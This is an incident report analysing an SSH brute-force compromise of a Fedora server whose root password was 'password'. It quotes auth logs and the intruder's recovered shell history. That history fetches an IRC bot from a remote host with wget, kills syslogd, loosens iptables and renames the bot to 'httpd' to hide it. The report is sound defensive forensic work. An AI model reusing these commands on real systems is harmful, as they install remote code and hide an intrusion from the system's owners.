BA-2005-01 Cursory Analysis of a System Compromise (due to poor password selection)

Cursory analysis of a system compromise (due to poor password choice)

On March 9 at 0856 the installation of a Fedora Core 3 system was completed.
System was then set up on a NAT network and patched using updates provided by
the Fedora project. The root password, for convenience, was temporarilly set to
‘password’ as an outside contractor would be setting up some software.

On March 11 at approx 1317, the router was set to forward inbound ssh connections
from the internet and the contractor was informed of the necessary information to
connect.

On March 11 at 1511, the first remote login was established over SSH. This was
made by a legitimate user (the contractor) connecting to configure the web site.
Based on an nmap scan, the only port accessible from outside the network was SSH.
The owner reported that the router was also set to forward web traffic, but the
system was found to be on a dynamic DSL pool and the bandwidth provider was blockingĀ inbound web traffic.

On March 12 at 1210, less than 24 hours after being established on the internet,
we see the first logged attempts to connect over SSH via a common password guessing
scheme.

Mar 12 12:10:36 server sshd[7118]: Failed password for invalid user test from
 ::ffff:61.66.xxx.yyy port 38081 ssh2
 Mar 12 12:10:39 server sshd[7121]: Invalid user guest from ::ffff:61.66.xxx.yyy
 Mar 12 12:10:41 server sshd[7121]: Failed password for invalid user guest from
 ::ffff:61.66.xxx.yyy port 38215 ssh2
 Mar 12 12:10:45 server sshd[7124]: Invalid user admin from ::ffff:61.66.xxx.yyy
 Mar 12 12:10:47 server sshd[7124]: Failed password for invalid user admin from
 ::ffff:61.66.xxx.yyy port 38344 ssh2
 Mar 12 12:10:51 server sshd[7127]: Invalid user admin from ::ffff:61.66.xxx.yyy

These attempts were unsuccessful. For the most part, the accounts did not exist.

On March 12 at 1211 and March 13 at 1158 we have the first successful connections
via password guessing. These connections appear to have been made from an IP locatedĀ in Taiwan.

root pts/2 61.66.xxx.yyy Sat Mar 12 12:11 - 12:11 (00:00)
 root pts/2 61.66.xxx.yyy Sun Mar 13 11:58 - 11:59 (00:00)

One minute after this second connection, at 1200 on March 13, a new connection was
established from a system in Romania. The root password was changed (I did not have
an opportunity to examine the password file to try to determine what password was set),
possibly to protect the attacker’s claim to this system. It appears that there was no
attempt to conceal the attacker’s command line history. The connection was tried again,
apparently to test the new password.

The system had been on the internet for less than 48 hours at this point.

root pts/2 82.78.xxx.yy Sun Mar 13 12:00 - 12:01 (00:00)
 root pts/2 82.78.xxx.yy Sun Mar 13 12:01 - 12:01 (00:00)
Mar 13 12:00:41 server sshd(pam_unix)[22211]: session opened for user root by root (uid=0)
 Mar 13 12:00:53 server passwd(pam_unix)[22244]: password changed for root
 Mar 13 12:01:01 server crond(pam_unix)[22246]: session opened for user root by (uid=0)
 Mar 13 12:01:01 server crond(pam_unix)[22246]: session closed for user root
 Mar 13 12:01:26 server sshd(pam_unix)[22254]: session opened for user root by root (uid=0)
w
 passwd
 uname -a
 cat /etc/issue
 hostname
 users
 exit

A short time later (1225), the attacker returned and attempted to configure a shoutcast
server and an IRC bot (EnergyMech 2.8.1). The bot was retrieved from a web server in
Romania and renamed to ‘httpd’ to conceal itself in the process list.

root pts/2 82.78.xxx.yy Sun Mar 13 12:25 - 12:48 (00:22)
Mar 13 12:25:37 server sshd(pam_unix)[22289]: session opened for user root by
 root(uid=0)
 Mar 13 12:31:13 server iptables: succeeded
 Mar 13 12:31:13 server last message repeated 2 times
 Mar 13 12:32:14 server kernel: ip_tables: (C) 2000-2002 Netfilter core team
 Mar 13 12:32:18 server iptables: succeeded Mar 13 12:32:18 server last message repeated 2 times
 Mar 13 12:32:50 server kernel: ip_tables: (C) 2000-2002 Netfilter core team
 Mar 13 12:34:54 server squid: Could not determine fully qualified hostname.
 Please set 'visible_hostname'
w
 users
 cd /var/tmp
 ls
 mkdir " "
 cd " "
 wget .
 tar.gz
 tar xzvf shoutcast-1-9-5-linux-glibc6.tar.gz
 rm -rf tar xzvf shoutcast-1-9-5-linux-glibc6.tar.gz
 cd shoutcast-1-9-5-linux-glibc6
 pico sc_serv.conf
 vi sc_serv.conf
 ./sc_serv
 service iptables stop
 ./sc_serv
 /sbin/iptables -L -n
 /etc/rc.d/init.d/iptables stop
 /etc/rc.d/init.d/iptables status
 iptables -I INPUT -p tcp --dport 2005 -j ACCEPT
 ./sc_serv
 iptables -I OUTPUT -p tcp --dport 2005 -j ACCEPT
 iptables -I FORWARD -p tcp --dport 2005 -j ACCEPT /sbin/iptables -L -n ./sc_serv
 /etc/init.d/squid stop
 killall -9 syslogd
 /etc/init.d/squid stop
 /etc/init.d/status
 /etc/init.d/squid status
 uname -a
 vi sc_serv.conf
 ./sc_serv
 iptables -I FORWARD -p tcp --dport 8989 -j ACCEPT
 ./sc_serv
 cd ..
 wget -----.go.ro/mech.tgz
 tar zxvf mech.tgz
 cd mech
 rm -rf mech.set mech2.usr mech3.usr
 wget -----.home.ro/mech.set
 wget -----.home.ro/mech2.usr
 wget -----.home.ro/mech3.usr
 vi mech.set
 ./mech
 ./mech
 killall -9 mech
 cd ..
 cd shoutcast-1-9-5-linux-glibc6/
 vi sc_serv.conf
 ./sc_serv
 cd ..
 rm -rf shoutcast-1-9-5-linux-glibc6/
 ls
 rm -rf mech.tgz
 mv mech tmp
 cd tmp
 mv mech httpd
 ./httpd
 ./httpd
 exit ?

On March 14 at 1154, the system was shut down so that it could be moved to
a different location in the office. The owner reported seeing several error
messages on shutdown and it was later assumed that this had been a possible
cause for the password being reset.

reboot system boot 2.6.10-1.770_FC3 Mon Mar 14 11:54 (22:36)

Within moments, the attacker reconnected in order to restart their IRC bot.

root pts/1 82.78.xxx.yy Mon Mar 14 12:09 - 14:29 (02:20)
 root pts/1 82.78.xxx.yy Tue Mar 15 06:47 - 06:52 (00:04)
w
 cd /var/tmp
 ls
 cd " "
 ls
 cd tmp
 ls
 ./httpd
 ./httpd
 ps aux
 cat /etc/issue
 w
 uname -a
 w
 ps auzx
 ps aux
 exit

Two to three hours later, it was discovered by an outside contractor that the
root password was no longer working. Shortly after that the system owner likewise
discovered that they could not connect from the console using the known root password.
Following some communication delays, the contractor agreed to walk the owner (who
was by this time no longer in the office) through resetting the root password from
single user mode the following morning.

reboot system boot 2.6.10-1.770_FC3 Tue Mar 15 10:35
 (2+02:14)
 root :0 Tue Mar 15 10:37 still logged
 in

At 1035 on March 15, the system was rebooted in single user mode and the password
was changed by the system owner. Moments later, the contractor verified that they
were able to connect. The contractor had been told that the company had its own
unix admin, so after quickly checking for any new uid 0 user accounts, further
investigation was left to them. Following the password reset, only one failed
connection attempt was logged, this time from an address in San Jose.

Mar 16 08:11:39 server sshd[5996]: Failed password for root from
 ::ffff:69.3.xx.yy port 25124 ssh2
 Mar 16 08:12:00 server last message repeated 2 times

On March 16, the contractor was asked about the “lost” password issue. Acting on
curiosity, the contractor checked the system logs for a record of a password change,
established who was connected at the time, examined the command history for root and
reported his findings.

Here is some output from the bot itself…

./httpd -v
 EnergyMech 2.8.1, April 1st, 2001
 Compiled on May 15 2001 19:04:30
 Features: DBG, SDB, LNE, SEE, LNK, PIP, DYN, NEW, ALS, WIN, SEF